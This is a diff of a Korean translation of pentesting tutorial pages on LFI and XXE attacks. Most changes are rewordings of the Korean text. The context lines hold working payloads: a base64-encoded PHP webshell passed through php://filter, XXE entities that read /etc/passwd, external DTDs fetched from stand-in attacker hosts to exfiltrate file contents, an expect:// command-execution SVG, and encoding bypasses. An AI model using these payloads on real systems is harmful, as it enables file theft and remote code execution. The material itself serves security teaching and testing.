@ -559,7 +559,7 @@ FTP 서버 vsftpd의 로그는 _**/var/log/vsftpd.log**_에 위치합니다. Loc
|
||||
|
||||
### Via php base64 filter (using base64)
|
||||
|
||||
[이](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) 기사에서 보여준 것처럼, PHP base64 필터는 Non-base64를 무시합니다. 이를 사용하여 파일 확장자 검사를 우회할 수 있습니다: ".php"로 끝나는 base64를 제공하면, "."를 무시하고 "php"를 base64에 추가합니다. 다음은 예시 페이로드입니다:
|
||||
[이](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) 기사에서 보여준 것처럼, PHP base64 필터는 Non-base64를 무시합니다. 이를 사용하여 파일 확장자 검사를 우회할 수 있습니다: ".php"로 끝나는 base64를 제공하면, 단순히 "."를 무시하고 "php"를 base64에 추가합니다. 다음은 예시 페이로드입니다:
|
||||
```url
|
||||
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
|
||||
|
||||
@ -567,7 +567,7 @@ NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
|
||||
```
|
||||
### Via php filters (no file needed)
|
||||
|
||||
이 [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d)는 **php 필터를 사용하여 임의의 콘텐츠**를 출력으로 생성할 수 있음을 설명합니다. 이는 기본적으로 **파일에 작성할 필요 없이 임의의 php 코드를 생성**할 수 있음을 의미합니다.
|
||||
이 [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d)는 **php 필터를 사용하여 임의의 콘텐츠**를 출력으로 생성할 수 있음을 설명합니다. 이는 기본적으로 **파일에 작성할 필요 없이** 포함할 **임의의 php 코드를 생성할 수 있음을 의미합니다.**
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-php-filters.md
|
||||
@ -591,7 +591,7 @@ lfi2rce-via-nginx-temp-files.md
|
||||
|
||||
### Via PHP_SESSION_UPLOAD_PROGRESS
|
||||
|
||||
**로컬 파일 포함**을 발견했지만 **세션이 없고** `session.auto_start`가 `Off`인 경우에도 가능합니다. **multipart POST** 데이터에 **`PHP_SESSION_UPLOAD_PROGRESS`**를 제공하면 PHP가 **세션을 활성화**합니다. 이를 악용하여 RCE를 얻을 수 있습니다:
|
||||
**로컬 파일 포함**을 발견했지만 **세션이 없고** `session.auto_start`가 `Off`인 경우, **multipart POST** 데이터에 **`PHP_SESSION_UPLOAD_PROGRESS`**를 제공하면 PHP가 **세션을 활성화합니다**. 이를 악용하여 RCE를 얻을 수 있습니다:
|
||||
|
||||
{{#ref}}
|
||||
via-php_session_upload_progress.md
|
||||
|
@ -4,10 +4,10 @@
|
||||
|
||||
## XML Basics
|
||||
|
||||
XML은 데이터 저장 및 전송을 위해 설계된 마크업 언어로, 설명적으로 명명된 태그를 사용할 수 있는 유연한 구조를 특징으로 합니다. XML은 미리 정의된 태그 집합에 제한되지 않기 때문에 HTML과 다릅니다. JSON의 부상으로 XML의 중요성은 감소했지만, AJAX 기술에서의 초기 역할은 여전히 중요합니다.
|
||||
XML은 데이터 저장 및 전송을 위해 설계된 마크업 언어로, 설명적으로 명명된 태그를 사용할 수 있는 유연한 구조를 특징으로 합니다. XML은 미리 정의된 태그 집합에 제한되지 않기 때문에 HTML과 다릅니다. JSON의 부상으로 XML의 중요성은 감소했지만, 초기 AJAX 기술에서의 역할은 여전히 중요합니다.
|
||||
|
||||
- **데이터 표현을 위한 엔티티**: XML의 엔티티는 `<` 및 `>`와 같은 특수 문자를 포함한 데이터 표현을 가능하게 하며, 이는 XML의 태그 시스템과의 충돌을 피하기 위해 `<` 및 `>`에 해당합니다.
|
||||
- **XML 요소 정의**: XML은 요소 유형을 정의할 수 있게 하여 요소가 어떻게 구조화되어야 하고 어떤 내용을 포함할 수 있는지를 설명합니다. 이는 모든 유형의 콘텐츠에서 특정 자식 요소에 이르기까지 다양합니다.
|
||||
- **엔티티를 통한 데이터 표현**: XML의 엔티티는 `<` 및 `>`와 같은 특수 문자를 포함한 데이터 표현을 가능하게 하며, 이는 XML의 태그 시스템과의 충돌을 피하기 위해 `<` 및 `>`에 해당합니다.
|
||||
- **XML 요소 정의**: XML은 요소 유형을 정의할 수 있으며, 요소가 어떻게 구조화되어야 하고 어떤 내용을 포함할 수 있는지를 설명합니다. 이는 모든 유형의 콘텐츠에서 특정 자식 요소에 이르기까지 다양합니다.
|
||||
- **문서 유형 정의 (DTD)**: DTD는 XML에서 문서의 구조와 포함할 수 있는 데이터 유형을 정의하는 데 중요합니다. DTD는 내부, 외부 또는 조합으로 존재할 수 있으며, 문서의 형식과 유효성을 안내합니다.
|
||||
- **사용자 정의 및 외부 엔티티**: XML은 유연한 데이터 표현을 위해 DTD 내에서 사용자 정의 엔티티 생성을 지원합니다. URL로 정의된 외부 엔티티는 보안 문제를 일으키며, 특히 XML 외부 엔티티(XXE) 공격의 맥락에서 XML 파서가 외부 데이터 소스를 처리하는 방식을 악용합니다: `<!DOCTYPE foo [ <!ENTITY myentity "value" > ]>`
|
||||
- **매개변수 엔티티를 통한 XXE 탐지**: XXE 취약점을 탐지하기 위해, 특히 파서 보안 조치로 인해 기존 방법이 실패할 때 XML 매개변수 엔티티를 활용할 수 있습니다. 이러한 엔티티는 DNS 조회 또는 제어된 도메인에 대한 HTTP 요청을 트리거하는 등의 비대면 탐지 기술을 허용하여 취약성을 확인합니다.
|
||||
@ -33,7 +33,7 @@ XML은 데이터 저장 및 전송을 위해 설계된 마크업 언어로, 설
|
||||
|
||||
### 파일 읽기
|
||||
|
||||
다양한 방법으로 `/etc/passwd`를 읽어보겠습니다. Windows에서는 `C:\windows\system32\drivers\etc\hosts`를 읽어볼 수 있습니다.
|
||||
다양한 방법으로 `/etc/passwd`를 읽어보겠습니다. Windows의 경우 `C:\windows\system32\drivers\etc\hosts`를 읽어보세요.
|
||||
|
||||
첫 번째 경우에서 SYSTEM "_**file:///**etc/passwd_"도 작동한다는 점에 유의하세요.
|
||||
```xml
|
||||
@ -49,7 +49,7 @@ XML은 데이터 저장 및 전송을 위해 설계된 마크업 언어로, 설
|
||||
<!DOCTYPE replace [<!ENTITY example SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> ]>
|
||||
<data>&example;</data>
|
||||
```
|
||||
이 세 번째 경우에서 `Element stockCheck`를 ANY로 선언하고 있음을 주목하세요.
|
||||
이 세 번째 경우에서 우리는 `Element stockCheck`를 ANY로 선언하고 있음을 주목하세요.
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE data [
|
||||
@ -91,9 +91,9 @@ XXE는 클라우드 내에서 SSRF를 악용하는 데 사용될 수 있습니
|
||||
```
|
||||
### "Blind" SSRF - Exfiltrate data out-of-band
|
||||
|
||||
**이번 경우에는 서버가 악성 페이로드가 포함된 새로운 DTD를 로드하도록 하여 파일의 내용을 HTTP 요청을 통해 전송하게 할 것입니다 (다중 라인 파일의 경우 \_ftp://**\_를 통해 전송을 시도할 수 있습니다. 예를 들어 이 기본 서버 [**xxe-ftp-server.rb**](https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb)**를 사용할 수 있습니다). 이 설명은** [**Portswiggers lab here**](https://portswigger.net/web-security/xxe/blind)**를 기반으로 합니다.**
|
||||
**이번 경우에는 서버가 HTTP 요청을 통해 파일의 내용을 전송하는 악성 페이로드가 포함된 새로운 DTD를 로드하도록 만들 것입니다 (다중 행 파일의 경우 \_ftp://**\_를 통해 탈취를 시도할 수 있습니다. 예를 들어 이 기본 서버 [**xxe-ftp-server.rb**](https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb)**를 사용할 수 있습니다). 이 설명은** [**Portswiggers lab here**](https://portswigger.net/web-security/xxe/blind)**를 기반으로 합니다.**
|
||||
|
||||
주어진 악성 DTD에서는 데이터를 유출하기 위해 일련의 단계가 수행됩니다:
|
||||
주어진 악성 DTD에서는 데이터를 탈취하기 위해 일련의 단계가 수행됩니다:
|
||||
|
||||
### Malicious DTD Example:
|
||||
|
||||
@ -125,16 +125,16 @@ XXE는 클라우드 내에서 SSRF를 악용하는 데 사용될 수 있습니
|
||||
|
||||
### 오류 기반(외부 DTD)
|
||||
|
||||
**이 경우, 서버가 오류 메시지 내에서 파일의 내용을 표시하는 악성 DTD를 로드하도록 만들 것입니다(이는 오류 메시지를 볼 수 있는 경우에만 유효합니다).** [**여기서 예시.**](https://portswigger.net/web-security/xxe/blind)
|
||||
**이 경우, 서버가 오류 메시지 내에서 파일의 내용을 표시하는 악의적인 DTD를 로드하도록 만들 것입니다(이는 오류 메시지를 볼 수 있는 경우에만 유효합니다).** [**여기서 예시.**](https://portswigger.net/web-security/xxe/blind)
|
||||
|
||||
악성 외부 문서 유형 정의(DTD)를 사용하여 `/etc/passwd` 파일의 내용을 드러내는 XML 파싱 오류 메시지를 트리거할 수 있습니다. 이는 다음 단계로 수행됩니다:
|
||||
악의적인 외부 문서 유형 정의(DTD)를 사용하여 `/etc/passwd` 파일의 내용을 드러내는 XML 파싱 오류 메시지를 트리거할 수 있습니다. 이는 다음 단계로 수행됩니다:
|
||||
|
||||
1. `/etc/passwd` 파일의 내용을 포함하는 `file`이라는 XML 매개변수 엔티티가 정의됩니다.
|
||||
2. `eval`이라는 XML 매개변수 엔티티가 정의되며, 이는 `error`라는 또 다른 XML 매개변수 엔티티에 대한 동적 선언을 포함합니다. 이 `error` 엔티티는 평가될 때 존재하지 않는 파일을 로드하려고 시도하며, `file` 엔티티의 내용을 이름으로 포함합니다.
|
||||
3. `eval` 엔티티가 호출되어 `error` 엔티티의 동적 선언이 이루어집니다.
|
||||
4. `error` 엔티티의 호출은 존재하지 않는 파일을 로드하려고 시도하여, 파일 이름의 일부로 `/etc/passwd` 파일의 내용을 포함하는 오류 메시지를 생성합니다.
|
||||
|
||||
악성 외부 DTD는 다음 XML로 호출될 수 있습니다:
|
||||
악의적인 외부 DTD는 다음 XML로 호출될 수 있습니다:
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
|
||||
@ -144,7 +144,7 @@ XXE는 클라우드 내에서 SSRF를 악용하는 데 사용될 수 있습니
|
||||
|
||||
.png>)
|
||||
|
||||
_**외부 DTD는 두 번째 `eval` 내에 하나의 엔티티를 포함할 수 있도록 허용하지만, 내부 DTD에서는 금지됩니다. 따라서 외부 DTD를 사용하지 않고는 오류를 강제할 수 없습니다(일반적으로).**_
|
||||
_**외부 DTD는 두 번째 `eval` 내부에 하나의 엔티티를 포함할 수 있도록 허용하지만, 내부 DTD에서는 금지됩니다. 따라서 외부 DTD를 사용하지 않고는 오류를 강제할 수 없습니다(일반적으로).**_
|
||||
|
||||
### **오류 기반 (시스템 DTD)**
|
||||
|
||||
@ -152,7 +152,7 @@ _**외부 DTD는 두 번째 `eval` 내에 하나의 엔티티를 포함할 수
|
||||
|
||||
XML 언어 사양의 허점은 **문서의 DTD가 내부 및 외부 선언을 혼합할 때 오류 메시지를 통해 민감한 데이터를 노출할 수 있습니다**. 이 문제는 외부에서 선언된 엔티티의 내부 재정의를 허용하여 오류 기반 XXE 공격을 실행할 수 있게 합니다. 이러한 공격은 원래 외부 DTD에서 선언된 XML 매개변수 엔티티의 재정의를 악용합니다. 서버에 의해 외부 연결이 차단되면 공격자는 공격을 수행하기 위해 로컬 DTD 파일에 의존해야 하며, 민감한 정보를 드러내기 위해 구문 오류를 유도하는 것을 목표로 합니다.
|
||||
|
||||
서버의 파일 시스템에 `/usr/local/app/schema.dtd`에 `custom_entity`라는 엔티티를 정의하는 DTD 파일이 있다고 가정해 보십시오. 공격자는 다음과 같이 하이브리드 DTD를 제출하여 `/etc/passwd` 파일의 내용을 드러내는 XML 구문 오류를 유도할 수 있습니다:
|
||||
서버의 파일 시스템에 `/usr/local/app/schema.dtd`에 DTD 파일이 포함되어 있고, `custom_entity`라는 엔티티를 정의하고 있다고 가정해 보십시오. 공격자는 다음과 같이 하이브리드 DTD를 제출하여 `/etc/passwd` 파일의 내용을 드러내는 XML 구문 오류를 유도할 수 있습니다:
|
||||
```xml
|
||||
<!DOCTYPE foo [
|
||||
<!ENTITY % local_dtd SYSTEM "file:///usr/local/app/schema.dtd">
|
||||
@ -169,9 +169,9 @@ XML 언어 사양의 허점은 **문서의 DTD가 내부 및 외부 선언을
|
||||
|
||||
- `local_dtd`라는 XML 매개변수 엔티티의 정의는 서버의 파일 시스템에 위치한 외부 DTD 파일을 포함합니다.
|
||||
- 외부 DTD에서 원래 정의된 `custom_entity` XML 매개변수 엔티티에 대한 재정의가 발생하여 [오류 기반 XXE 익스플로잇](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages)을 캡슐화합니다. 이 재정의는 구문 오류를 유발하도록 설계되어 `/etc/passwd` 파일의 내용을 노출합니다.
|
||||
- `local_dtd` 엔티티를 사용하여 외부 DTD가 활성화되며, 새로 정의된 `custom_entity`를 포함합니다. 이 일련의 작업은 익스플로잇을 위해 목표로 하는 오류 메시지를 발생시킵니다.
|
||||
- `local_dtd` 엔티티를 사용하여 외부 DTD가 활성화되고 새로 정의된 `custom_entity`를 포함합니다. 이 일련의 작업은 익스플로잇을 위해 목표로 하는 오류 메시지를 발생시킵니다.
|
||||
|
||||
**실제 사례:** GNOME 데스크탑 환경을 사용하는 시스템은 종종 `/usr/share/yelp/dtd/docbookx.dtd`에 `ISOamso`라는 엔티티를 포함하는 DTD를 가지고 있습니다.
|
||||
**실제 사례:** GNOME 데스크탑 환경을 사용하는 시스템은 종종 `ISOamso`라는 엔티티를 포함하는 DTD를 `/usr/share/yelp/dtd/docbookx.dtd`에 가지고 있습니다.
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE foo [
|
||||
@ -188,7 +188,7 @@ XML 언어 사양의 허점은 **문서의 DTD가 내부 및 외부 선언을
|
||||
```
|
||||
.png>)
|
||||
|
||||
이 기술은 **내부 DTD를 사용하므로 먼저 유효한 DTD를 찾아야 합니다**. 이를 위해 **서버가 사용하는 동일한 OS / 소프트웨어를 설치하고** **기본 DTD를 검색하거나**, **시스템 내의 기본 DTD 목록을 가져와서** **그 중 어떤 것이 존재하는지 확인할 수 있습니다**:
|
||||
이 기술은 **내부 DTD를 사용하므로 먼저 유효한 DTD를 찾아야 합니다**. 이를 위해 **서버가 사용하는 동일한 OS / 소프트웨어를 설치하고** **기본 DTD를 검색하거나**, 시스템 내에서 **기본 DTD 목록을 가져와서** **그 중 어떤 것이 존재하는지 확인할 수 있습니다**:
|
||||
```xml
|
||||
<!DOCTYPE foo [
|
||||
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
|
||||
@ -219,9 +219,9 @@ Testing 0 entities : []
|
||||
```
|
||||
### XXE via Office Open XML Parsers
|
||||
|
||||
이 공격에 대한 더 깊이 있는 설명은 **Detectify의** [**이 놀라운 게시물**](https://labs.detectify.com/2021/09/15/obscure-xxe-attacks/)의 두 번째 섹션을 **확인하세요**.
|
||||
이 공격에 대한 더 깊은 설명은 **Detectify의** [**이 놀라운 게시물**](https://labs.detectify.com/2021/09/15/obscure-xxe-attacks/)의 두 번째 섹션을 **확인하세요**.
|
||||
|
||||
**Microsoft Office 문서를 업로드할 수 있는 기능은 많은 웹 애플리케이션에서 제공됩니다**, 이후 이 문서에서 특정 세부 정보를 추출합니다. 예를 들어, 웹 애플리케이션은 사용자가 XLSX 형식의 스프레드시트를 업로드하여 데이터를 가져오는 것을 허용할 수 있습니다. 파서가 스프레드시트에서 데이터를 추출하기 위해서는 반드시 하나 이상의 XML 파일을 파싱해야 합니다.
|
||||
**Microsoft Office 문서 업로드 기능은 많은 웹 애플리케이션에서 제공됩니다**, 이후 이 문서에서 특정 세부 정보를 추출합니다. 예를 들어, 웹 애플리케이션은 사용자가 XLSX 형식의 스프레드시트를 업로드하여 데이터를 가져오는 것을 허용할 수 있습니다. 파서가 스프레드시트에서 데이터를 추출하기 위해서는 반드시 하나 이상의 XML 파일을 파싱해야 합니다.
|
||||
|
||||
이 취약점을 테스트하기 위해서는 **XXE 페이로드가 포함된 Microsoft Office 파일을 생성해야 합니다**. 첫 번째 단계는 문서를 압축 해제할 수 있는 빈 디렉토리를 만드는 것입니다.
|
||||
|
||||
@ -229,7 +229,7 @@ Testing 0 entities : []
|
||||
|
||||
수정된 XML 라인은 두 개의 루트 XML 객체 사이에 삽입되어야 합니다. 요청을 모니터링할 수 있는 URL로 URL을 교체하는 것이 중요합니다.
|
||||
|
||||
마지막으로, 파일을 압축하여 악성 poc.docx 파일을 생성할 수 있습니다. 이전에 생성된 "unzipped" 디렉토리에서 다음 명령을 실행해야 합니다:
|
||||
마지막으로, 파일을 압축하여 악성 poc.docx 파일을 생성할 수 있습니다. 이전에 생성한 "unzipped" 디렉토리에서 다음 명령을 실행해야 합니다:
|
||||
|
||||
이제 생성된 파일을 잠재적으로 취약한 웹 애플리케이션에 업로드할 수 있으며, Burp Collaborator 로그에 요청이 나타나기를 기대할 수 있습니다.
|
||||
|
||||
@ -245,8 +245,8 @@ jar:https://download.host.com/myarchive.zip!/file.txt
|
||||
|
||||
PKZIP 아카이브 내의 파일에 접근하는 과정은 여러 단계를 포함합니다:
|
||||
|
||||
1. 지정된 위치에서 zip 아카이브를 다운로드하기 위해 HTTP 요청이 이루어집니다. 예: `https://download.website.com/archive.zip`.
|
||||
2. 아카이브를 포함하는 HTTP 응답이 시스템에 임시로 저장됩니다. 일반적으로 `/tmp/...`와 같은 위치에 저장됩니다.
|
||||
1. 지정된 위치에서 zip 아카이브를 다운로드하기 위해 HTTP 요청이 이루어집니다, 예를 들어 `https://download.website.com/archive.zip`.
|
||||
2. 아카이브를 포함하는 HTTP 응답이 시스템에 임시로 저장되며, 일반적으로 `/tmp/...`와 같은 위치에 저장됩니다.
|
||||
3. 아카이브가 추출되어 그 내용을 접근합니다.
|
||||
4. 아카이브 내의 특정 파일인 `file.zip`이 읽힙니다.
|
||||
5. 작업 후, 이 과정에서 생성된 임시 파일은 삭제됩니다.
|
||||
@ -310,7 +310,7 @@ Responder.py -I eth0 -v
|
||||
|
||||
### XInclude
|
||||
|
||||
서버 측 XML 문서에 클라이언트 데이터를 통합할 때, 백엔드 SOAP 요청과 같은 경우 XML 구조에 대한 직접적인 제어가 종종 제한되어 `DOCTYPE` 요소를 수정하는 데 제한이 있어 전통적인 XXE 공격이 어려워집니다. 그러나 `XInclude` 공격은 XML 문서의 데이터 요소 내에 외부 엔티티를 삽입할 수 있도록 하여 해결책을 제공합니다. 이 방법은 서버에서 생성된 XML 문서 내의 데이터의 일부만 제어할 수 있을 때도 효과적입니다.
|
||||
서버 측 XML 문서에 클라이언트 데이터를 통합할 때, 백엔드 SOAP 요청과 같은 경우 XML 구조에 대한 직접적인 제어가 종종 제한되어 `DOCTYPE` 요소를 수정하는 데 제한이 있어 전통적인 XXE 공격이 어려워집니다. 그러나 `XInclude` 공격은 XML 문서의 데이터 요소 내에 외부 엔티티를 삽입할 수 있도록 하여 해결책을 제공합니다. 이 방법은 서버에서 생성된 XML 문서 내의 데이터 일부만 제어할 수 있는 경우에도 효과적입니다.
|
||||
|
||||
`XInclude` 공격을 실행하려면 `XInclude` 네임스페이스를 선언하고 의도된 외부 엔티티의 파일 경로를 지정해야 합니다. 아래는 그러한 공격을 어떻게 구성할 수 있는지에 대한 간결한 예입니다:
|
||||
```xml
|
||||
@ -320,25 +320,25 @@ Check [https://portswigger.net/web-security/xxe](https://portswigger.net/web-sec
|
||||
|
||||
### SVG - 파일 업로드
|
||||
|
||||
사용자가 특정 애플리케이션에 업로드한 파일은 서버에서 처리되며, XML 또는 XML을 포함하는 파일 형식이 처리되는 방식의 취약점을 악용할 수 있습니다. 일반적인 파일 형식인 오피스 문서(DOCX)와 이미지(SVG)는 XML을 기반으로 합니다.
|
||||
사용자가 특정 애플리케이션에 업로드한 파일은 서버에서 처리되며, XML 또는 XML을 포함하는 파일 형식이 처리되는 방식의 취약점을 악용할 수 있습니다. 오피스 문서(DOCX) 및 이미지(SVG)와 같은 일반적인 파일 형식은 XML을 기반으로 합니다.
|
||||
|
||||
사용자가 **이미지를 업로드할 때**, 이러한 이미지는 서버 측에서 처리되거나 검증됩니다. PNG 또는 JPEG와 같은 형식을 기대하는 애플리케이션의 경우에도 **서버의 이미지 처리 라이브러리는 SVG 이미지를 지원할 수 있습니다**. XML 기반 형식인 SVG는 공격자가 악성 SVG 이미지를 제출하여 서버를 XXE(XML External Entity) 취약점에 노출시킬 수 있습니다.
|
||||
사용자가 **이미지를 업로드할 때**, 이러한 이미지는 서버 측에서 처리되거나 검증됩니다. PNG 또는 JPEG와 같은 형식을 기대하는 애플리케이션의 경우에도 **서버의 이미지 처리 라이브러리는 SVG 이미지를 지원할 수 있습니다**. XML 기반 형식인 SVG는 공격자가 악성 SVG 이미지를 제출하여 서버를 XXE(XML 외부 엔티티) 취약점에 노출시킬 수 있습니다.
|
||||
|
||||
아래는 시스템 파일을 읽으려는 악성 SVG 이미지의 예시입니다:
|
||||
아래는 시스템 파일을 읽으려는 악성 SVG 이미지의 예입니다:
|
||||
```xml
|
||||
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200"><image xlink:href="file:///etc/hostname"></image></svg>
|
||||
```
|
||||
또 다른 방법은 PHP "expect" 래퍼를 통해 **명령을 실행**하려고 시도하는 것입니다:
|
||||
또 다른 방법은 PHP "expect" 래퍼를 통해 **명령어를 실행**하려고 시도하는 것입니다:
|
||||
```xml
|
||||
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200">
|
||||
<image xlink:href="expect://ls"></image>
|
||||
</svg>
|
||||
```
|
||||
SVG 형식은 서버 소프트웨어의 XML 처리 기능을 악용하는 공격을 시작하는 데 사용되며, 이는 강력한 입력 검증 및 보안 조치의 필요성을 강조합니다.
|
||||
SVG 형식은 서버 소프트웨어의 XML 처리 기능을 악용하는 공격을 시작하는 데 사용되며, 강력한 입력 검증 및 보안 조치의 필요성을 강조합니다.
|
||||
|
||||
자세한 내용은 [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe)를 확인하세요!
|
||||
자세한 정보는 [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe)를 확인하세요!
|
||||
|
||||
**읽은 파일의 첫 번째 줄 또는 실행 결과는 생성된 이미지 내부에 나타납니다. 따라서 SVG가 생성한 이미지에 접근할 수 있어야 합니다.**
|
||||
**읽기 파일의 첫 번째 줄 또는 실행 결과는 생성된 이미지 내부에 나타납니다. 따라서 SVG가 생성한 이미지에 접근할 수 있어야 합니다.**
|
||||
|
||||
### **PDF - 파일 업로드**
|
||||
|
||||
@ -358,7 +358,7 @@ Content-Length: 7
|
||||
|
||||
foo=bar
|
||||
```
|
||||
그렇다면 다음 요청을 제출할 수 있을 것입니다. 결과는 동일합니다:
|
||||
그럼 다음 요청을 제출할 수 있을 것입니다. 결과는 동일합니다:
|
||||
```xml
|
||||
POST /action HTTP/1.0
|
||||
Content-Type: text/xml
|
||||
@ -404,11 +404,11 @@ Content-Type: application/xml;charset=UTF-8
|
||||
```xml
|
||||
<!DOCTYPE test [ <!ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk"> %init; ]><foo/>
|
||||
```
|
||||
이것은 XML 서버가 `data://` 프로토콜을 수용하는 경우에만 작동합니다.
|
||||
이것은 XML 서버가 `data://` 프로토콜을 수용할 때만 작동합니다.
|
||||
|
||||
### UTF-7
|
||||
|
||||
여기에서 \[**"Encode Recipe**" of cyberchef\]를 사용할 수 있습니다.
|
||||
여기서 \[**"Encode Recipe**" of cyberchef를 사용하여]\(\[[https://gchq.github.io/CyberChef/index.html#recipe=Encode_text%28'UTF-7](https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7) %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)to]\([https://gchq.github.io/CyberChef/index.html#recipe=Encode_text%28'UTF-7 %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to](https://gchq.github.io/CyberChef/#recipe=Encode_text%28%27UTF-7%20%2865000%29%27%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to)) UTF-7로 변환합니다.
|
||||
```xml
|
||||
<!xml version="1.0" encoding="UTF-7"?-->
|
||||
+ADw-+ACE-DOCTYPE+ACA-foo+ACA-+AFs-+ADw-+ACE-ENTITY+ACA-example+ACA-SYSTEM+ACA-+ACI-/etc/passwd+ACI-+AD4-+ACA-+AF0-+AD4-+AAo-+ADw-stockCheck+AD4-+ADw-productId+AD4-+ACY-example+ADs-+ADw-/productId+AD4-+ADw-storeId+AD4-1+ADw-/storeId+AD4-+ADw-/stockCheck+AD4-
|
||||
@ -429,7 +429,7 @@ Content-Type: application/xml;charset=UTF-8
|
||||
### HTML 엔티티
|
||||
|
||||
[**https://github.com/Ambrotd/XXE-Notes**](https://github.com/Ambrotd/XXE-Notes)에서의 트릭\
|
||||
**엔티티 안에 엔티티**를 생성하고 **html 엔티티**로 인코딩한 다음, 이를 호출하여 **dtd를 로드**할 수 있습니다.\
|
||||
**html 엔티티**로 인코딩된 **엔티티 안에 엔티티**를 생성한 다음, 이를 호출하여 **dtd**를 로드할 수 있습니다.\
|
||||
사용되는 **HTML 엔티티**는 **숫자**여야 한다는 점에 유의하세요 (예를 들어 \[이 예제에서\]([https://gchq.github.io/CyberChef/index.html#recipe=To_HTML_Entity%28true,'Numeric entities'%29\&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)\\](<https://gchq.github.io/CyberChef/index.html#recipe=To_HTML_Entity%28true,%27Numeric%20entities%27%29&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)%5C>)).
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY % a "<!ENTITY%dtdSYSTEM"http://ourserver.com/bypass.dtd">" >%a;%dtd;]>
|
||||
@ -476,7 +476,7 @@ DTD 예:
|
||||
|
||||
이 예시는 [https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe](https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe)에서 영감을 받았습니다.
|
||||
|
||||
XLIFF (XML Localization Interchange File Format)는 로컬라이제이션 프로세스에서 데이터 교환을 표준화하는 데 사용됩니다. 이는 주로 로컬라이제이션 중 도구 간에 로컬라이즈 가능한 데이터를 전송하고 CAT (Computer-Aided Translation) 도구를 위한 공통 교환 형식으로 사용되는 XML 기반 형식입니다.
|
||||
XLIFF (XML Localization Interchange File Format)는 현지화 프로세스에서 데이터 교환을 표준화하는 데 사용됩니다. 이는 주로 현지화 중 도구 간에 지역화 가능한 데이터를 전송하고 CAT (Computer-Aided Translation) 도구를 위한 공통 교환 형식으로 사용되는 XML 기반 형식입니다.
|
||||
|
||||
### Blind Request Analysis
|
||||
|
||||
@ -684,7 +684,7 @@ https://github.com/luisfontes19/xxexploiter
|
||||
### Python lxml 파라미터-엔티티 XXE (오류 기반 파일 노출)
|
||||
|
||||
> [!INFO]
|
||||
> Python 라이브러리 **lxml**은 내부적으로 **libxml2**를 사용합니다. **lxml 5.4.0 / libxml2 2.13.8** 이전 버전은 `resolve_entities=False`일 때도 *파라미터* 엔티티를 확장하여, 애플리케이션이 `load_dtd=True` 및/또는 `resolve_entities=True`를 활성화할 경우 접근할 수 있게 됩니다. 이는 로컬 파일의 내용을 파서 오류 메시지에 포함하는 오류 기반 XXE 페이로드를 가능하게 합니다.
|
||||
> Python 라이브러리 **lxml**은 내부적으로 **libxml2**를 사용합니다. **lxml 5.4.0 / libxml2 2.13.8** 이전 버전은 `resolve_entities=False`일 때도 *parameter* 엔티티를 확장하여, 애플리케이션이 `load_dtd=True` 및/또는 `resolve_entities=True`를 활성화할 때 접근할 수 있게 합니다. 이는 로컬 파일의 내용을 파서 오류 메시지에 포함하는 오류 기반 XXE 페이로드를 가능하게 합니다.
|
||||
|
||||
#### 1. lxml < 5.4.0 악용
|
||||
